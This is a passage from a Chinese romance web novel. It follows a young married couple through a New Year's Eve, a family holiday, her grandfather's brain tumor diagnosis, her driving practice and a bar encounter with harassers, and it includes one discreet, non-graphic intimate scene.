周庭朔经常各地飞,但真要说停下来走走,还没有过。 “随便逛逛吧。” 夏声想了想:“要不带你去我以前学校看看?” 锦城一中是全市最好的高中,夏声就是从那毕业,对其感情很深。 主教学楼已重新粉刷,图书馆也换了新的门面。 她一一介绍着学校里的变化,还不忘说些高中时候的趣事。 “可惜,现在进不去学校了。” “不然能让你当面听听我那些老师怎么夸我优秀的。” 高中三年夏声一直成绩前列,又刻苦认学,许多老师都喜欢她。 周庭朔垂眸看着她:“能超线三十分考上京大,足以证明你的优秀。” 夏声回头,表情惊讶:“你怎么知道?” 他扬眉反问:“适当了解结婚对象,不是最基本的吗?” 被噎住地夏声转过身,莫名心虚,于是转移话题。 “今晚市中心的步行街好像有跨年活动,有兴趣吗?” 这种活动夏声也是第一次参加,她没想到会有这么多人。 人群中,肩顶肩,鞋蹭鞋,失去重心的人都倒不下去,因为身前身后都是人。 没办法,夏声拉着周庭朔挤到一个相对边角的位置,踩在旁边的台阶上,等着倒计时。 站了一会,夏声觉得有些冷,于是伸手哈了口热气。 很快,她的手被牵入周庭朔的口袋。 温热的掌心裹着她的手指,比她的口袋暖得多,索性她也没再抽出来。 视线里,大多是小年轻,举着气球挽着朋友,嘻嘻闹闹看着远处电子大屏,倒计时已经开始。 众人异口同声的倒数。 “五,四,三,二,一。” 跨年钟声响起,夏声转身仰起头,凑过去大声说了句:“新年快乐!” 漫天的烟花映在周庭朔眼中,他微低着头,口袋中的手指探进她的掌心,轻轻捏了捏。 “新年快乐。” 不知为何,夏声的心蓦得空了一拍。 钟声落幕,新年仪式结束,俩人准备打道回府,又被人叫住。 是一个街拍摄影师,刚刚抓拍了张他们的照片,想问是否可以发到网上。 定格的一幕是倒数零点,背光的画面里,两人剪影凑在一起,视线相接,远处是新年快乐的电子大屏,和流彩一般的烟火。 照片很好的隐去两人的模样,自然没什么问题。 夏声想了想:“可以把原片发给我吗?” 当晚,许久未发朋友圈的夏声,发了一张照片。 配文:新年快乐。 而许久不曾看朋友圈的某人,几秒后给她点了个赞。 明明两人距离不超过一米,甚至在同一张床上。 夏声放下手机,转头看向身边的周庭朔,语气恹恹。 “好了,明天我的手机不会消停了。” 周庭朔眸中带笑,惯常抿直的唇也有了弧度,看向她的眼神轻缓柔和,像带着温度的月光。 她不知为何,被这目光看得脸颊发热,于是别过视线,看向他手中的手机。 “不行,我发了你也要发。” 抬手去抢的瞬间,他手便伸远,夏声一门心思在手机上,追过去夺,全然不知自己此刻已整个趴在他怀里。 手机终于抢到,她正准备让他解锁,抬眼便撞进他浓稠的眸光里。 两人此刻贴得极近,呼吸相闻。 他的视线从她的眼睫,落到鼻尖,接着停留在唇畔。 夏声察觉到氛围有变,刚想伸手撑起身体,身后已被一双手臂挡住去向。 不等她反应,他的手掌已撑在她脑后,吻了上来。 窗外不知谁还在放烟花,五彩斑斓的焰火仿佛一同在她的脑子里炸开。 唇瓣被一寸寸吻过,她的呼吸开始混乱,刚抢来的手机也不知被扔到哪里。 理智尽失前,她终于得了开口的机会。 “不行,家里没有那个。” 周庭朔紧盯着她,抬手拉开旁边的床头柜,摸出一盒放进她手里。 “我柜子里怎么会有这个?” 他勾唇:“楼下买的。” 手指捏紧,夏声又道:“这几天你工作连轴转,难得休假,应该好好休息。” “托你的福,昨晚休息的很好。” …… 夏声明白,这人是蓄谋已久,最后只能认命闭眼,红着脸轻推他一下。 “那,你关灯。” 室内陷入黑暗,她陷入一汪磨人的春湖。 温热的唇一点点熨贴她,走走停停,当来到她颈侧时,夏声别过头,抬手捂住他的唇。 “上次你做得好事,害我丢人,明天我还要出门,你不许了。” 他就着吻下她的手心,随后拉下来。 “那我这次轻些。” 话说得好听,可情到深处,也顾不得控制力度。 明明躺在床上,夏声却仿佛置身一艘小船,随着水波摇摇荡荡。 朦胧视线中,周庭朔紧实的肩臂线条就在眼前。 似乎为了表达不满,夏声抬手扶上他的肩膀,指尖用力。 动作终于短暂停下,沙哑的声音响起。 “还是太重了?” 夏声整个人被吊得不上不下,偏偏他还来问这些,好像故意的。 那股不服输的劲又上来,她头脑一热,直接用力推开他,随后调转姿态,成为上位者。 腰间扶着一双手,沙哑的声音自下传来。 “你确定要这样?” 开弓没有回头箭,她硬撑着说是。 “不行吗?” “你想怎样都行。”他沉沉应声,嗓音带笑。 …… 后悔的是第二天的夏声。 新年夜的最后,她差点被抱进浴室,若不是顶着一口气自己洗完,只怕还要丢一次脸。 如今,已经醒来几分钟的夏声,仍不想睁开眼,昨晚的最后实在太过大胆失控,黑夜是掩护,可天亮了她却没勇气面对。 还好有人先一步起身,等听到门关上的声音,她才慢慢起床。 磨磨蹭蹭洗漱完,刚出客厅的夏声正对上从外面回来的周庭朔。 他手中提着早餐,神色自如。 “你起来了,正好过来吃东西。” 第25章 第25章心疼 温热的肉包散发着油香,豆浆放了糖,氤氲着热气。 夏声顾不得吃两口,一直低头回信息。 对面的人看她好几眼,伸手将她的手机屏幕关上。 “好好吃饭。” 她狠狠咬了口包子,含混着声音:“我也想好好吃饭, 但几十条未读信息,还有朋友圈一大堆红点。” 豆浆顺下包子,夏声放下纸杯,埋怨。 “都是你,非要发朋友圈。” 周庭朔好脾气地点头:“怨我。” 随即,他将自己的手机解锁,递到她面前。 夏声挑眼看他。 “干嘛?” “发到我朋友圈,以示公平。” 夏声垂眼,他的朋友圈干干净净,签名也没有,甚至背景还是系统默认。 想了想,她将手机原样推回去。 “算了,我才没那么幼稚。” 一餐饭,磨磨蹭蹭吃完,安真的电话打来。 彼时,夏声跟周庭朔刚刚下楼。 “你这什么情况,直接悄无声息官宣是吧?” “怎么是想好了,以后就跟他好好过了呗。” 虽然不是免提,夏声还是把手机换到另一边。 “以前也没想别的。” “哦,我还以为你遮遮掩掩隐婚,是准备实在不行,随时跑路呢。” 小区门口有不少卖吃食的小摊贩,周庭朔自然的牵过她,拉到人少的那一边。 今天是元旦,他们要去大姑姑家吃饭。 路过超市,周庭朔让她在门口等着,独自去了里面。 趁这间隙,安真问她:“上次在民宿问你的问题,有答案了?” 是那个她对周庭朔什么感觉的问题。 精准的答案,夏声还没解出来。 但现在她能确定,他作为另一半是远超合格线的,她很满意。 “别聊我了,你一个人跑去海岛度假,还不通知祁家骏,又是玩哪出?” 安真正坐在海景落地窗前,捧着椰子水吹风。 “前两天,他爸给我打电话了,估计是我们的事捅到他家里去。” “你知道的,我又不是吃素的,在他爸妈身上受得气,我也得还到他身上。” 原来如此,可以理解。 两人又聊几句,刚好周庭朔出来,收线。 他手中提着果篮和酒水,夏声感叹,这人永远比自己考虑得周到。 元旦佳节,一家人团聚,夏春燕张罗着包饺子,夏声洗手去帮忙。 周庭朔留下陪夏国理。 老爷子拿出一副象棋,大女婿没什么文化,也不会下棋,于是他找上孙女婿。 周庭朔只知道基本规则,便由着老人跟他边教边下,临到吃饭,他已有一局险胜。 夏国理摇头:“年轻人,脑子就是好,我这下了半辈子棋的,叫初学的给杀局了。” 桌上菜已上差不多,周庭朔将老爷子扶到主位,笑着回。 “名师出高徒,您是高级教师,我怎么会差。” 一句话又哄得老人高兴。 等饺子端上来,夏春燕笑着考问周庭朔。 “猜得出哪些是你老婆包的么?” 他从没见过夏声包饺子。 面前的盘子里,浑圆肚子的饺子像元宝,两边向中间一捏,略显潦草,胖瘦均匀的饺子像弯月,捏折整齐,形状完美。 夏声厨艺不佳,这他是知道的。 于是两相对比,他指了指元宝饺子。 身边的夏声“切”了声,夹起一只弯月饺子放到他碗里。 “猜错了,罚你只能吃一个。” 夏国理笑着睨了孙女一眼。 “这丫头,从小就不太会做饭,但手很巧,十岁时包的饺子就比她姑姑的好看。” “都没人教过她,不知怎么学会的。” 夏声被夸得翘尾巴,略扬下巴自我夸赞。 “好多东西我都是自学的,小学时流行的折星星,折玫瑰,我都自己琢磨会的。” 一旁的周庭朔听着她的话,视线看着碗中的饺子,唇边的笑渐渐隐去。 热热闹闹吃完饭,又留下陪老人家看电视。 中途薛宁玉来电话,问过夏声新年过得如何,还跟老爷子通了话。 临近傍晚,有工作电话打来,周庭朔独自去接听,夏声便在客厅给夏国理剥橘子。 这两天老爷子观察过,这孙女婿是个可靠的,已然是放下心,便劝夏声。 “他要实在忙,你们就早点回去,别在这耽误了。” 夏声看了眼窗前低声通话的身影,将橘子递过去。 “明天去帮您拿完复查结果再说吧。” 当晚,两人早回去了些,周庭朔确实有些邮件要处理,一直在客厅忙到快十点。 进卧室时,夏声正趴在床上,看一本少女漫画。 周庭朔走过去,坐到床边。 “这些书,你自己没看过?” 她看得入迷,眼都没抬:“没,这是高三毕业安真送我的,一整套。” “我那时候暑期忙着兼职,没什么时间看,到现在才看到一半。” 他将视线落到对面书桌上的书架,几本漫画书搁在角落,确实很新。 书架最上面一排,有一罐纸星星玻璃瓶,周庭朔想起下午的对话。 “你十岁就会包饺子?” 夏声翻过一页,应声:“是啊,包得还非常好呢。” 周仪娇十岁时,鞋带还要别人帮忙系。 他起身走到书桌前,手指划过墙上贴着的一张张奖状。 “你从前,会做很多事吗?” 趴得累了,夏声拿起书换个姿势,躺在床上看他一眼。 “你指的是什么事?” 洗衣、打扫、照顾自己,这些不该小孩子做的事。 周庭朔没再出声,回身过来轻轻摸了摸她的发顶。 “别躺着看书,伤眼睛。” 说完,拿了睡衣去洗漱。 等他出来时,夏声已经睡着,漫画书扣着放在一旁。 周庭朔轻手轻脚上床,被子展开给她仔细盖好,随后将她揽入怀中。 睡得迷迷糊糊的夏声调整下姿势,向他怀里拱了拱,像是十分舒服般呓语几声。 第二天因为要去医院,夏声起得早些。 夏国理上次住院做了全面检查,今天才能取结果,夏声本想自己去,周庭朔坚持跟她一起。 一路上,大部分时间他都在跟公司里的人通话,等取完结果见医生才短暂停下。 颅咽管瘤长在颅内,医生建议是做开颅手术,但有一定风险,且真要做手术,还需要评估老人身体情况。 夏声不自觉紧张起来:“那如果不做手术,保守治疗呢?” 医生根据检查结果,解释建议开颅的原因。 “因为瘤体所处位置特殊,保守治疗不能保证它不继续长大。” “瘤体周围都是大脑功能区,如果控制不好,他以后可能会失明、耳聋,压迫三叉神经还会引起面部剧烈疼痛,甚至偏瘫。” “当然,具体决定,还要你们家属自己权衡。” 一瞬间接受这些信息,夏声没第一时间开口,而是在脑中迅速消化。 只是放在膝上的手不自觉攥紧。 “那,就是需要尽快手术吗?” 大概因为是林家帮忙打过招呼,医生还算耐心,语气也缓和些。 “当然是越早干预越好,老人年纪越大,手术风险越高。” 出了医生办公室,夏声又将检查报告一张张看过,医用词汇晦涩难懂,但总体结论她还看的出,情况确实不算乐观。 周庭朔在旁边也都认真听过,他扶着她的肩膀,在走廊的座椅上坐下。 “报告给我看看,我帮你问问京市的医院。” “多个建议,你也好做决定。” 周庭朔将所有报告一一拍下,随后又去打了几个电话。 回去的路上,夏声一直心事重重,周庭朔还有些情况不了解。 “爷爷知道他的病情吗?” 夏声抓着医院检查单的袋子,语气低落:“具体的没告诉过他,但是他知道自己脑袋里长了东西。” 两人已快到楼下,他拍拍她的肩膀,示意她放松。 “一会我来跟爷爷说,你别这个表情上去,还不是特别严重的情况, 你这样反倒让老人多想。” 果然,一进门夏国理就问情况怎么样。 周庭朔将夏声手里的报告单接过来,将她往厨房推,顺便给姑姑夏春燕一个眼神。 “我们刚刚买的鱼,还活着的,姑姑你帮夏声处理下。” 厨房里,水池中的鱼还在啪啪甩着尾巴,那是他们临时在水产店买回来的。 夏声将医生的结论跟姑姑说完,两人都没出声。 不过再出来时,谁也没有提这茬。 周庭朔似乎已经跟老爷子说完,两人品着一壶茶,讨论着锦城的医疗水平。 “京市的医疗条件是好些,只是我这也不是大毛病,就没必要折腾到那边去。” “反正在这也能治,不就动个小手术嘛。” 旁边坐着的周庭朔跟夏声对视一眼,笑道:“也是她的孝心,想问问那边是不是有更全面的治疗方案。” 夏声弯起嘴角,也过去讨了杯茶。 “就是,孙女尽孝心,你还拦着?” 陪着家人的几天,夏声一直给足情绪价值,直到走的那天,上了飞机,她表情落下来。 欧洲那边问题解决,这几天海外组一直在跟进后续,周庭朔看完电脑上他们昨天的进度报告,转头才发现她有些不对劲。 “怎么,还是担心?” 夏声看着舷窗外翻滚的云层,抿了抿嘴角。 “爷爷是我最亲的人,如果手术真有什么意外……” 周庭朔握住她的手:“别悲观,等回去见过京市的专家,听听意见再说。” 夏声知道,也只能这样,于是点点头。 这几天的假期,是周庭朔尽力调整出来的,刚下飞机,公司的助理已经等在那。 夏声自己坐司机的车回家,下午休息下,便带着从锦城带回来的礼物去了西苑。 没想到在那撞见熟人。 第26章 第26章是谁无底线 会客厅里,薛宁玉坐在落地窗旁的楠木椅上,让夏声帮忙把簪子带上。 一只嵌珠的并蒂莲发簪,典雅大方,配薛宁玉乌黑的发髻刚好。 “还是声声眼光好,真好看。” 薛宁玉抬手摸摸,随后招手让她坐下,拿出几本相册翻给她看。 “正好你来了,这是几个摄影公司刚送来的样册,你瞧瞧有没有喜欢的风格?” 水晶相册做得精致又华丽,夏声随手翻开一页,是主题婚纱照。 她跟周庭朔结婚,除了一张法定证件,其他都还没有。 “这眼看你就要毕业,婚纱照婚礼都该筹备上,庭朔是指不上了,跟他爸一样,成天就知道忙工作,我看就咱们娘俩看着定吧。” 之前一直没有操办这些,其实是夏声的意思。 她毕竟还在学,总想着毕业再说。 眼前的照片各种风格应有尽有,都是俊男美女做模特,自然是好看,她一时也没比出什么。 薛宁玉帮着翻看,指着一组海边夜景风格的给她看。 “前两天我看你朋友圈发的照片,你们俩就蛮好看,适合拍夜景呢。” 那张脸都看不清,偏她也能这样夸。 两人暂定了几个风格,薛宁玉又招呼她吃水果,自己去取东西。 这次去五台山,她也给夏声带了礼物。 “我给你们求了平安符,你跟庭朔一人一个。” 一红一黑,锦缎上绣着符字,夏声道谢收好,抬头看天也黑了。 正准备走,周灵熙跑来找她。 “小婶婶,我想去你家玩。” 已经有一阵没去看福宝了,小姑娘想得紧。 薛宁玉拉回她,叫她别缠人。 “等过两天你参加完冬令营回来,再去玩吧。” 这边夏声跟周灵熙约定好,楼上正好有人下来。 周起岩看见夏声,微笑点头:“留下吃饭吧,跟小卓一起。” 他身后跟着一人,银色正装提着公文包,正是卓冕。 两人对上视线,周起岩正好介绍:“这是夏声,你认识吧?” 卓冕:“知道,我们见过。” 夏声没留下吃饭,跟卓冕一起出门,两人坐上车,一时无话。 平时卓冕总会主动找些话题,今天却不一样,夏声说不出他哪里有了变化。 车开到熟悉路段,夏声出声提醒:“把我放在方便停车的路边就行,后面也不同路了。” 卓冕抬眼,透过后视镜看着她。 “是不同路。”只是他说的不同路,与她说的可能并不是一回事。 车子没有停下的意思,夏声为缓解尴尬,只好看向车窗外。 十几分钟后,车子停在碧水华汀门口。 夏声道过谢,想要下车时,被他叫住。 他回身从后座拿出一只礼品袋,递给她。 “谢谢你上次帮我选东西,这个本想做新年礼物送你,可惜你……” 话音落下,他第一次转头跟她目光相接。 可惜她新年那天不在京市,而是在某人身边,很开心。 上次她帮忙,本也是举手之劳。 夏声将礼品袋放回到两人中间的扶手箱上:“不用了,这点小事,你再送我礼物就是不把我当朋友了。” 说完,她打开车门下车,回头告别。 “路上注意安全。” 车门关闭,卓冕温和的眸渐渐冷下来,垂眼看着旁边没能送出的礼物。 那是那日夏声在专柜,闻得时间最长的香水,他猜她会喜欢,可她甚至都没拆开看。 他随手将东西扔到后座,一脚油门离开。 回到京市,不仅周庭朔忙起来,连夏声都没了闲暇。 跟秦莫见面后,两人开始为公司走手续,忙装修,一天要跑好几个地方。 新车已经提回来两三天,但从来没开出来过。 又一次打车等待的间隙,夏声问秦莫:“你会开车吗?” 秦莫比她大两岁,身材高挑,大美人长相,偏是个软性子,一开口是温温柔柔的南方口音。 “理论上,是会的。” 那就是实际上不会。 要说夏声也是胆大,拉上秦莫两人就去练车。 见秦莫上车就把安全带扣得死死的,夏声摸着方向盘介绍。 “这辆车就安全系数高,你别害怕,我稳当着开。” 是够稳当,从地库的车位开出去就花了五分钟。 战战兢兢终于出小区,发现大街上到处是车,夏声也不由心里没底起来。 晃晃悠悠用比走路快不了多少的速度,在最右侧车道蹭出一个路口后,副驾的秦莫坐不住了。 “要不我们停下歇会?” 夏声攥着方向盘的手指都发白了,秦莫可不敢再坐。 侧方停车更是个挑战,夏声正跟方向盘较劲,车机上显示有来电。 秦莫一边帮她看右侧的位置,插空看了眼来电号码。 “是你家周先生,还是接吧。” 自锦城回来,两人虽然住一起,却基本没照过面,只有夏声睡得迷迷糊糊时,隐约感觉有人回来过,早上醒来,又不见人影。 电话接通时,夏声已经把车停下。 她把蓝牙关掉,用手机接电话。 “喂,怎么这会儿有空给我打电话?” “我明天要飞国外,提前跟你说一声。” “这么突然?” 秦莫下车去买喝的去了,夏声也不用顾及其他。 “需要帮你收行李吗?” 周庭朔已将工作安排的差不多,今天可以早些回去,于是告诉她不用,他自己会收。 夏声又问了问是去哪个国家,大概几天之类的,才挂断电话。 当晚,夏声回去时,看到门口立着行李箱,显然周庭朔先回来了。 徐姐已经做好饭,夏声去洗手的功夫,他从书房出来。 “怎么这么晚回来?” 夏声不好意思说,自己练车晚了,回来时不小心赶上晚高峰,车一辆挤着一辆,加塞按喇叭的,她硬着头皮都开不下去,最后只好叫个代驾把车开回来。” 有点事,路上耽误了。” 周庭朔回来时,看到旁边车位空着,他才知道她开车出去了。 刚给她打了电话,她就说已经到楼下,于是他没在电话里多问。 饭桌上,两人分坐对面。 周庭朔等她开口,夏声却只顾埋头吃饭。 “今天练车的事,怎么不跟我聊聊。” 伸出去的筷子停下,夏声抬眼:“你怎么知道?” 第一次开车出去,做什么事也不难猜。 “自己练的?” “当然不是。”夏声拍拍扒着她腿要吃食的福宝,随口回答,“秦莫陪我来着。” 周庭朔放下筷子,正色看她:“她会开车吗,驾龄多久?” 按理说,练车是该找个老司机陪着,但夏声这不是不认识,所以只能出此下策。 见她默不出声,他便知道肯定是两个新手凑一起。 “新司机上路已经够危险,你还带着另一个,也是能耐。” 难得他语气如此严肃,夏声对上他的眼睛,为自己辩解。 “那我怎么办,新手不开车永远是新手,我总不能一夜醒来就变成老司机。” “为什么不找我。” “你有时间?” 她这也是无奈之举,落到他口中,倒像是不知轻重。 这两天她忙公司那边的事,已是有些心累,再听到他来说教,难免厌烦。 吃饭的胃口也没了,夏声闷头起身,抱起福宝回房间。 把自己跟猫咪关在原来她住的房间里,夏声开始查看公司手续的审批流程走得如何。 中间秦莫给她发消息,说她有个朋友会开车,实在不行,下次让他来帮忙陪着练车。 其实看到这,夏声自己知道今天贸然带着秦莫练车,确实不稳妥。 算了,下次不能再这样。 正想着,周庭朔发来新消息。 点开,是一张微信名片和一串号码。 【周庭朔:这是我司机的联系方式,这几天我出差,他时间都空着,你要练车让他陪。】 夏声躺在床上,眼神愣愣地盯着上方的圆形吊灯。 虽然做错的是自己,但她就是拉不下脸。 思来想去,索性今晚就留在客卧。 晚上十点半,夏声都已经关灯,门口却传来敲门声。 她装睡不应,敲门声就不停。 “我知道你没睡。” 论执着,她不是周庭朔的对手,只能不情愿地去开门。 “明天我就走了,今晚你确定要跟我赌气,自己在这睡?” 夏声玩着睡衣袖口上的绑绳,语气硬邦邦。 “嗯,你自己好好睡个好觉,明天还要早起赶飞机。” 叹气声自头顶传来,周庭朔伸出手握住她的手腕,二话不说将人带回主卧。 “看来找时间,我要请人把其他几个卧室的床清走。” “为什么?” 两米的大床上,两人肩膀挨着肩膀。 “明知故问。” 夏声真怕他言出必行,毕竟以后周灵熙还要来住,不能真一张床不留。 然而对方没有给她说话的机会,直接关了灯。 “好了,睡吧。” 黑暗中,夏声思维异常活跃。 明明几个小时前两人还在赌气,这会她却被人拉过来,睡回同一张床。 也不知道是他们俩谁太没坚持和底线。 总之,自己好像跟他吵不来架。 第二天一早,周庭朔要赶早班飞机,夏声起来时,身边已经没人。 她翻身下床,揉着眼睛走到客厅,发现周庭朔正在门口换鞋。 大衣搭在臂弯,行李箱也在手边。 “你要走了?” “嗯。” 夏声想问问还有没有什么落下的,想想又觉得他应该都收拾好了。 于是只好往前挪两步:“那你一路顺风,出差照顾好自己。” “没有别的想说的?” 夏声不明所以:“还要说什么?” 他无奈摇头:“算了。” 临走之前,周庭朔不忘提醒她。 “别忘了今天要跟于教授见诊,有事给我发消息,我看得到。” 第27章 第27章他生气了? 首都总医的于教授是国内首屈一指的专家,想要约见一面可不容易。 夏声早早赶过去,生怕错过时间。 教授人很好,看过检查结果跟她详细讨论了下夏国理现在的病情。 “西南一医的诊断和治疗建议是合理的,不过手术确实有风险,即使是我来做,依然不能说百分百成功。” “只是风险也没那么大,你不必过分担忧。” 权威人士的话总是能很好的安抚人心,从医院出来,夏声的心终于落定。 在海岛野了几天的安真终于回来,两人下午约在一家新开的泰餐厅见面。 短短几天,安真形象大变,原来的长发变成两侧稍短的公主切,还挑染了少许幽夜蓝。 衣服也不再是性感的修身裙,反而变成黑色高腰裤配粉色短皮衣,衣服袖口还有一圈轻盈的鸵鸟毛。 “你怎么变甜酷风了,原来的辣妹风呢?” 安真撩开耳边的头发,给她看新买的蝴蝶立体耳钉,又粉又闪。 “新年新气象嘛,你都官宣老公了,我没有老公可炫耀,只能捯饬自己咯。” 真是说谁谁到,桌上的手机跳出周庭朔的信息。 这个时间,他应该还在飞机上。 【于教授怎么说?】 夏声言简意赅地将教授的话转述,旁边的安真斜眼睨着她的屏幕,一脸嫌弃。 “啧啧啧,现在也是过上好日子了,一会不见,手机上还得聊是吧?” 她这嘴最是不饶人,夏声放下手机,掐了她一把。 “我们这是有正事说,你以为他真闲得有时间闲聊?” 相对平时,坐飞机的周庭朔确实算闲,很快又回了信息。 【那等我回来,咱们再定是在锦城动手术,还是接到京市,请于教授操刀。】 一句话,将这件事变成了他们两人的事。 她肩上的责任,他好像毫无顾忌地就接了过去。 夏声没再回,跟安真点单。 这家新开的店就在夏声未来公司附近,吃完饭,夏声邀请安真去楼上看看。 装修已过半,刷墙铺地都完成了,还剩一些小活,再有半个多月也就结束。 安真插着裤袋,转圈看着。 “这都是你一个人弄得?” 功劳可不是她的,装修大部分时间是秦莫盯着,她去跑公司手续比较多。 现在法人已经申请完,公司账户也有了,经营许可和项目清单都提交完,要说两个女生的行动力,确实也很高。 夏声过去,还给她指指靠里那间光线极好的独立办公室。 “以后我就坐那。” “对了,一会陪我去刻章吧,公章弄好了,我个人签章还没做。” 安真怪腔怪调地揶揄她:“行,以后夏总做大生意时,别忘了带小姐妹一把。” 公司楼下不远就有刻章店,两人去刻章的功夫,竟然遇到熟人。 夏声远远就认出周仪娇,她穿着一身纯白色大衣,从一辆车上下来。 车上是什么人,夏声没看清,只知道车一驶离,周仪娇就蹲到地上去,双肩一抖一抖,看起来情况不妙。 她嘱咐安真一会帮她拿章,自己匆匆跑过去。 “娇娇?” 路边人来人往,有不少人侧目看过来,周仪娇脸埋在胳膊里,不肯抬头。 夏声只好蹲在她旁边,轻轻拍她肩膀。 “出什么事了,怎么哭了?” 大概听出夏声的声音,她抽噎两下,转过脸看她。 只是没等说话,扁起嘴哭得更厉害了。 安真过来时,瞧见这场景,更是一脸茫然。 两人不可能扔下周仪娇不管,可姑娘似乎为什么事伤透了心,一直哭个不停。 最后又固执地要去喝酒。 她这样夏声可不敢让她一个人买醉,于是跟安真连哄带拽的把她拉到旁边一家居酒屋。 还没入夜,里面几乎没什么客人,正适合她们说话。 居酒屋的小包间坐三个人刚好,周仪娇把梅子酒当饮料,一口接一口。 夏声想拦,安真冲她摇摇头。 “让她喝吧,喝透了情绪才能出来。” 半个多小时后,两人终于问出原委。 原来是那个叫苏晋的,前些天拒绝了周仪娇的表白,今天她又去找他,故意说家里给她介绍相亲,结果对方毫无反应。 “他就真的心里没有一点我的位置,在他面前,我简直像个笑话。” 苏晋,夏声有点印象,上次在明箴她见过一面,看着挺稳重可靠一人,伤姑娘的心倒是狠。 周仪娇狠狠抹了把泪:“没有就没有,我明天就回家相亲,嫂子你跟我哥不也这么结婚的,我也可以直接找个人嫁。” 这就是气话了。 安真将她旁边没了大半的酒瓶拿走,将热水杯推给她。 “你还成榜样了。” 这话是说夏声,但她一门心思在周仪娇身上。 “婚姻大事,可不能这么草率,跟我们说说就算了,回家可不能这么说。” 安真插言:“你不也这么草率结的,现在怎么劝别人。” 她也就是习惯了跟夏声贫嘴,该劝她也劝。 “这个男人不好咱就不要了,没必要急吼吼地再找一个像证明什么似的。” “把自己活精彩了,臭男人有后悔的时候。” 两瓶酒,几个小时,三个姑娘很快聊开,也解了周仪娇的心结。 进门时哭哭啼啼,出门时就能重整旗鼓了。 只是周仪娇今天倒霉,临走去卫生间的功夫,被卡座几个醉鬼缠上。 寸头纹身金链子,看就知道不是正经人。 三个男人非要她的联系方式,不给不让走,纠缠好一会也不收手。 幸好夏声和安真觉得不对,出来看一眼。 “你们几个把爪子拿开!”安真出来就是一声大喊。 这底气太足,还真给三人震慑住,不过也就几秒,三人相视一笑又冲她们挑了挑眉。 “原来是三个美女一起啊,这不正好配咱哥仨。” 夏声闷不吭声,先去把周仪娇拉到身后,随后瞪着眼前三个男人。 “要么你们坐回自己桌继续吃饭,我们当无事发生。” 她举起手机:“要么,我现在报警,我们去警局里聊。” 对方一看就没把她放眼里,吊儿郎当笑一通,就是没有让位的意思。 “小美女,你搬出警察做什么,我们又没犯罪,能拿我们怎么样?” 周仪娇在身后拽了拽夏声的袖子,安真走过来示意她别怕。 “看来,今天你们是不想善了是吧。”安真咬着牙慢悠悠地说。 她们旁边就是大厅里的吧台,主厨正在铁板上做着大阪烧。 安真今天恰好没穿高跟鞋,两步踩过凳子吧台桌,拿过一只闲置的铁铲,又跳下来。 “行啊,姑奶奶今天陪你们比划比划,真比划出事了警察就该管了。” 三个男人就是见色起意,看见美女想揩点油,顺便要个联系方式。 不小心撞上硬茬子。 夏声当然不能让安真动手,她双手抱臂,扬着下巴。 “我想,等进了警局,警察同志都不用多问,去公安系统里查下犯罪记录,一看就知道该信谁。” “你们要真想去,我们奉陪。” 一些社会闲散人员,夏声赌他们过去不干净,只要是以前有过案底的,去警察局没有好果子吃。 听到这,对面总算认清现实,装模作样啐几口,一副没了兴趣的样子,转身走了。 周仪娇这会酒都吓醒一半,连忙拍了拍她们俩的肩。 “姐姐们太厉害了,今天没你们在,我真完了。” 夏声哪里是厉害,手心里早就都是汗,只是虚张声势罢了。 倒是安真,她是真不怕惹事,刚刚要不是夏声托底,没准儿她真能跟对方打起来。 三人惊魂未定地出了居酒屋,夏声怕周仪娇满身酒气地回西苑会被说,索性让她跟自己回碧水华汀。 她主动给薛宁玉打去电话。 “妈,娇娇今晚想在我这住一晚,正好她哥也不在家,跟我做个伴。” “她怕你不让,我就先跟您说一声。” 对面薛宁玉不疑有他:“这有什么不让的,愿意住就住吧。” 挂断电话,安真也凑过来勾住她的脖子。 “既然你家那口子不在,我也去行不行?” 周庭朔倒是说过,不反对她带同学朋友来家里做客,只要别进他的书房就好。 于是,三姐妹美滋滋打了车一起回家。 夏声早跟徐姐打过招呼,今晚在外面吃饭,回去时徐姐见是三个姑娘一起来的,笑吟吟又去厨房准备喝的。 醒酒汤最先端上来,好说歹说让周仪娇喝了一碗。 家里一下来两个陌生人,福宝害怕地缩在窗帘后,被夏声抱出来安抚一阵,小猫咪才开始营业模式。 两人换上夏声的睡衣,跟着一起窝在沙发上撸猫,茶几上是徐姐刚做好的蛋挞和芒果西米露,没一会她又切了果盘过来。 周仪娇舒服地抱着福宝揉耳朵,看安真给夏声试自己新买的口红。 “我感觉这样也好幸福,你们说为什么不能几个女生一起住一辈子。” 安真将夏声唇上的口红涂匀,又把小镜子递给她,才回头看周仪娇。 “怎么不能,你嫂子结婚了是不成事了,咱俩可以住一起啊。” “以后你就是我香香的老婆,谁还找什么男人。” 夏声按下镜子睨她一眼。 “你可别满嘴胡话,娇娇真信了你的,哭得比被男人骗还惨。” “什么意思,我比男人还不靠谱?” “好啊,你就这么编排我是吧。” 两人在沙发笑着闹作一团,旁边夏声手机响也顾不上。 周仪娇看了眼是她哥的微信语音电话,顺手帮忙接起来。 “哥,是我。” 日内瓦机场的信号不算好,周庭朔听得断断续续,才反应过来是周仪娇接的电话。 “怎么是你接,她呢?” 周仪娇把今天下午的事避重就轻地说了下,着重渲染夏声帮她摆脱流氓的英勇事迹。 对面沉默半晌:“让她接吧。” 那边夏声刚结束一场“混战”,不明所以地接过周仪娇递来的电话。 “喂,你落地了吗?” 周庭朔语气淡淡:“嗯,明天我助理会去家里拿一份文件,到时候需要你帮忙找一下。” 不是什么麻烦事,夏声满口应下,又说了今天安真和周仪娇都住家里的事。 “嗯,不用特意跟我说。” 对面停顿一会,见她没有再要开口的意思,随后挂断电话。 夏声看了眼手机,总觉得周庭朔有些怪怪的。 转头看向周仪娇:“你跟你哥说什么了吗,怎么他像……生气了。” 第28章 第28章情绪稳定 飞机上,助理何归明显感觉到,挂断电话的老板有些低气压。 某人又不顾自身安危,为他人出头,偏她帮的人是自己妹妹,他无从论言。 周庭朔心中生出难以察觉的郁气。 而另一边的夏声,已把这事抛诸脑后。 三个姐妹晚上在客卧挤一张大床,福宝还要在床尾占一角。 听说夏声正准备创业,周仪娇很感兴趣,她有一个朋友是搞设计的,做过文创相关,而且现在还是自由职业。 她将联系方式推给夏声,没准能促成合作。 接下来的几天,夏声忙着公司的事,还不忘抽时间出来练车。 每天都排得满满当当,回家累得倒头就睡。 大概周庭朔在国外也忙,两人时常一天也不会发一条信息。 这天傍晚,夏声在城南练车,这路段马路开阔也鲜少行人,是周庭朔的司机告诉她的。 已经让司机陪练几天,今天她才自己上路试试。 开了两圈,她自觉没问题,偶然瞥到后 视镜,发现天边出现粉色的云霞。 她将车停在路边,下车。 冬日的晚霞不像火烧云般炽烈,白与粉模糊着边界,再与橙色交融,唯美治愈。 